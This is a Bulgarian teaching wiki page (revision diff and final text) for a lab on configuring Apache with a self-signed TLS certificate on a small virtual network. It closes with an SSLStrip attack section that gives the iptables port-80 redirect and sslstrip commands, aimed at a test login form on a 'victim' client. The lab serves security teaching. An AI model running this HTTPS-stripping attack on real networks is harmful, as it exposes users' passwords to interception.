Apache SSL: Difference between revisions

From Ilianko
No edit summary
 
(21 intermediate revisions by the same user not shown)
Line 1: Line 1:
Конфигуриране на Apache с поддръжка на https (TLS/SSL)
Конфигуриране на Apache с поддръжка на https (TLS/SSL) и атака с SSLStrip
Опитна постановка
Опитна постановка:
Router, Web Server, Web Client.


==Мрежови настройки==


== Web сървър ==
===Router (Attacker)===
Играе ролята на рутер, токча за достъп към Интернет.
Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.


3. Инсталиране на софтуерни пакети '''''openssl''''', '''''apache2''''', '''''ssh'''''
Настройка DNS
:~$ apt-get update
*nano /etc/resolv.conf
:~$ apt-get install apache2 openssl ssh
  nameserver 8.8.4.4
 
4. Проверка дали работи web сървърът.
 
От брaузър на хост машината се зарежда IP адреса на web сървъра.
 
5. Свързване от '''''Хост компютъра''''' към виртуалния Web сървър през ssh.
 
Отваря се терминал на хост машината и се изпълнява
:-$ ssh student@10.3.45.10X
 
6. Генериране на ...
 
Да се създаде директория ~/keys
:~$ mkdir ~/keyes
:~$ cd ~/keys
Генериране на само-подписан сертификат и частен ключ
:~$ openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key
 
Common Name (e.g. server FQDN or YOUR name) []: '''''tugab.bg'''''
 
Проверете генерираните файлове
 
7. Настройка на Apache2
 
Активиране на ssl модул
:~$ a2enmod ssl
 
Настройка на web директория Apache. Ще се модифицира примерната конфигурация
:~$ cd /etc/apache2
:~$ cp sites-available/default-ssl sites-enabled/
:~$ nano sites-enabled/default-ssl
 
Редактирайте пътищата към сертификата и частния ключа
<code><pre>
  SSLEngine on
 
        #  A self-signed (snakeoil) certificate can be created by installing
        #  the ssl-cert package. See
        #  /usr/share/doc/apache2.2-common/README.Debian.gz for more info.
        #  If both key and certificate are stored in the same file, only the
        #  SSLCertificateFile directive is needed.
        SSLCertificateFile    /root/keys/apache.pem
        SSLCertificateKeyFile /root/keys/apache.key


</pre></code>


9. Рестатирайте apache и Тествайте връзката към '''''https://10.3.45.10X'''''
:~$ /etc/init.d/apache2 restart
===Attacker===
Играе ролята на рутер, токча за достъп към Интернет.
Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.


Настройки на Интерфейси:
Настройки на Интерфейси:
*nano /etc/resolv.conf
nano /etc/network/interfaces
<code><pre>
<code><pre>
auto lo
auto lohttps://www.google.bg/search?q=innodb&gws_rd=cr,ssl&ei=JjAnVrkBwuhqoeSMmAs
iface lo inet loopback
iface lo inet loopback


Line 83: Line 35:


Активиране на NAT
Активиране на NAT
  iptables -A POSTROUTING -t nat -j MASQUERADE
  echo "iptables -A POSTROUTING -t nat -j MASQUERADE" >> /etc/init.d/rc.local
  echo 1 > /proc/sys/net/ipv4/ip_forward
  echo "echo 1 > /proc/sys/net/ipv4/ip_forward" >> /etc/init.d/rc.local


=== Web сървър ===


*nano /etc/resolv.conf
nameserver 8.8.4.4


<code><pre>
# The primary network interface
# The primary network interface
allow-hotplug eth0
allow-hotplug eth0
Line 94: Line 50:
netmask 255.255.255.0
netmask 255.255.255.0
gateway 172.16.1.1
gateway 172.16.1.1
</code></pre>
Инсталация на web сървър
Инсталиране на софтуерни пакети '''''telnet''''', '''''openssl''''', '''''apache2''''', '''''ssh'''''
apt-get update
аpt-get install apache2 openssl ssh


Проверка дали работи web сървърът.
telnet localhost 80
  GET


===Victim===
=== Web client (Victim) ===
windows XP
windows XP
*IP: 10.3.45.1XX/16
*IP: 10.3.45.1XX/16
Line 103: Line 69:
*през cmd се добавя път към вътрешна мрежа:
*през cmd се добавя път към вътрешна мрежа:
  route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX
  route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX




Line 109: Line 74:
Добавяне на път от host машината към web сървъра  
Добавяне на път от host машината към web сървъра  
  route add -net 172.16.1.0/24 gw 10.3.45.100
  route add -net 172.16.1.0/24 gw 10.3.45.100
== Web форма ==
Тестване на web сървъра през Web клиента
*В браузъра се отваря:
http://172.16.1.2/index.html
Качване на форма form.html
*Подгответе web форма и я качете през ssh на веб сървъра
<code><pre>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Untitled Document</title>
  </head>
  <body>
    <form action="https://172.16.1.2/index.html" method="post">
      <table>
        <tr>
          <td>User: </td>
          <td><input type="text" name="name" value="" maxlength="100" /></td>
        </tr>
        <tr>
          <td>Password</td>
          <td><input type="password" name="pass" value="" maxlength="100" /></td>
        </tr>
        <tr>
          <td colspan="2"><input name="submit" type="submit" value="Submit" /></td>
        </tr>
      </table>
    </form>
  </body>
</html>
</pre></code>
Свързване от '''''Хост компютъра''''' към виртуалния Web сървър през ssh.
Отваря се терминал на хост машината и се изпълнява
:-$ ssh student@172.16.1.1
===Активиране на https===
*Активиране на ssl модул:
a2enmod ssl
*Настройка на web директория Apache. Ще се модифицира примерната конфигурация
cd /etc/apache2
cp sites-available/default-ssl sites-enabled/
nano sites-enabled/default-ssl
service apache2 restart
*добавете към index.html връзка към формата
<a href=https://172.16.1.2/form.html >Forma</a>
=== Генериране на собствен самоподписан сертификат ===
*Да се създаде директория /root/keys
mkdir /root/keyes
cd /root/keys
*Генериране на самоподписан сертификат и частен ключ
openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key
Common Name (e.g. server FQDN or YOUR name) []: '''''tugab.bg'''''
...
*Проверете генерираните файлове
*Редактирайте пътищата към сертификата и частния ключа. Редактирайте файла /etc/apache2/sites-enabled/default-ssh
<code><pre>
...
SSLEngine on
        #  A self-signed (snakeoil) certificate can be created by installing
        #  the ssl-cert package. See
        #  /usr/share/doc/apache2.2-common/README.Debian.gz for more info.
        #  If both key and certificate are stored in the same file, only the
        #  SSLCertificateFile directive is needed.
        SSLCertificateFile    /root/keys/apache.pem
        SSLCertificateKeyFile /root/keys/apache.key
...
</pre></code>
*Рестатирайте apache и Тествайте връзката към '''''https://10.3.45.1XX'''''
service apache2 restart
== Атака на връзката ==
Инсталиране sslstrip
apt-get install sslstrip
пренасочване на порт
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
стартиране на sslstrip
sslstrip -L 10000




Да се тества премахването на https връзките.





Latest revision as of 10:04, 22 October 2015

Конфигуриране на Apache с поддръжка на https (TLS/SSL) и атака с SSLStrip Опитна постановка: Router, Web Server, Web Client.

Мрежови настройки

Router (Attacker)

Играе ролята на рутер, токча за достъп към Интернет. Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.

Настройка DNS

  • nano /etc/resolv.conf
nameserver 8.8.4.4


Настройки на Интерфейси: nano /etc/network/interfaces

auto lohttps://www.google.bg/search?q=innodb&gws_rd=cr,ssl&ei=JjAnVrkBwuhqoeSMmAs
iface lo inet loopback

# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 10.3.45.2XX
netmask 255.255.255.0
gateway 10.3.0.1

allow-hotplug eth1
iface eth1 inet static
address 172.16.1.1
netmask 255.255.255.0

Активиране на NAT

echo "iptables -A POSTROUTING -t nat -j MASQUERADE" >> /etc/init.d/rc.local
echo "echo 1 > /proc/sys/net/ipv4/ip_forward" >> /etc/init.d/rc.local

Web сървър

  • nano /etc/resolv.conf
nameserver 8.8.4.4
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 172.16.1.2
netmask 255.255.255.0
gateway 172.16.1.1
</code>

Инсталация на web сървър Инсталиране на софтуерни пакети telnet, openssl, apache2, ssh

apt-get update
аpt-get install apache2 openssl ssh


Проверка дали работи web сървърът.

telnet localhost 80
  GET

Web client (Victim)

windows XP

  • IP: 10.3.45.1XX/16
  • gateway: 10.3.0.1;
  • DNS: 8.8.4.4
  • през cmd се добавя път към вътрешна мрежа:
route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX


Host машина

Добавяне на път от host машината към web сървъра

route add -net 172.16.1.0/24 gw 10.3.45.100

Web форма

Тестване на web сървъра през Web клиента

  • В браузъра се отваря:
http://172.16.1.2/index.html

Качване на форма form.html

  • Подгответе web форма и я качете през ssh на веб сървъра
<html>
  <head> 
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Untitled Document</title>
  </head>
  <body>
    <form action="https://172.16.1.2/index.html" method="post">
      <table>
        <tr>
          <td>User: </td>
          <td><input type="text" name="name" value="" maxlength="100" /></td>
        </tr>
        <tr>
          <td>Password</td>
          <td><input type="password" name="pass" value="" maxlength="100" /></td>
        </tr>
        <tr>
          <td colspan="2"><input name="submit" type="submit" value="Submit" /></td>
        </tr>
      </table>
    </form>
  </body>
</html>


Свързване от Хост компютъра към виртуалния Web сървър през ssh.

Отваря се терминал на хост машината и се изпълнява

:-$ ssh student@172.16.1.1

Активиране на https

  • Активиране на ssl модул:
a2enmod ssl
  • Настройка на web директория Apache. Ще се модифицира примерната конфигурация
cd /etc/apache2
cp sites-available/default-ssl sites-enabled/
nano sites-enabled/default-ssl
service apache2 restart
  • добавете към index.html връзка към формата
<a href=https://172.16.1.2/form.html >Forma</a>

Генериране на собствен самоподписан сертификат

  • Да се създаде директория /root/keys
mkdir /root/keyes
cd /root/keys 

  • Генериране на самоподписан сертификат и частен ключ
openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key

Common Name (e.g. server FQDN or YOUR name) []: tugab.bg
...
  • Проверете генерираните файлове


  • Редактирайте пътищата към сертификата и частния ключа. Редактирайте файла /etc/apache2/sites-enabled/default-ssh
...
 SSLEngine on

        #   A self-signed (snakeoil) certificate can be created by installing
        #   the ssl-cert package. See
        #   /usr/share/doc/apache2.2-common/README.Debian.gz for more info.
        #   If both key and certificate are stored in the same file, only the
        #   SSLCertificateFile directive is needed.
        SSLCertificateFile    /root/keys/apache.pem
        SSLCertificateKeyFile /root/keys/apache.key
...
  • Рестатирайте apache и Тествайте връзката към https://10.3.45.1XX
service apache2 restart

Атака на връзката

Инсталиране sslstrip

apt-get install sslstrip

пренасочване на порт

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

стартиране на sslstrip

sslstrip -L 10000


Да се тества премахването на https връзките.



https://wiki.debian.org/Self-Signed_Certificate http://blog.donovan-jimenez.com/2011/03/adding-new-trusted-certificate-on.html http://httpd.apache.org/docs/2.2/ssl/ssl_faq.html http://www.thegeekstuff.com/2011/03/install-apache2-ssl/ http://onlamp.com/onlamp/2008/03/04/step-by-step-configuring-ssl-under-apache.html